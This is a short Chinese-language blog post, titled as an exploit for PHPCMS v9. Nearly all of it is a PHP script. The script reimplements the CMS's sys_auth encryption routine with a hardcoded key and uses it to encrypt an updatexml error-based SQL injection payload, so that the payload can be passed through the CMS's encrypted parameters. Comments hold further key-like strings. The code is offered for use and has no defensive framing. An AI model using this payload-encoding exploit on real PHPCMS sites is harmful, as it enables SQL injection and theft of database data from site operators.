phpcms v9 exp

作者: print("") 分类: 未分类 发布时间: 2020-08-18 22:03

phpcms v9 exp

<?php
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
    $ckey_length = 4;
    $key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
    }
}

$self_key="g6mYGZu1INvnpMPDgRcE";
echo $self_key."\n";
$mi=sys_auth("1' and updatexml(1,concat(1,(user())),1)#",'ENCODE',$self_key);#加密明文
echo $mi."\n";#输出密文
$ming=sys_auth($mi,'DECODE',$self_key);#解密明文
//Ninja_Anus_keys	std::__1::string	"80a5a7f467f5de2b5b04ab61ade539b3BSRuh6O5VEM4mMzZF6on"
//_360_Safe_Ninja_Anus	const std::__1::string &	"4ac2OnfSqFYWSVgeKSEGzvqTHK7YiVAK1ixJSxWJ62fxh264xeup90588ejkxoD-5h83CejTR3gwFKfJ2SClfDxhGlDyzg"	0x00007ffeefbff400
echo $ming;#输出解密后的明文

?>

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注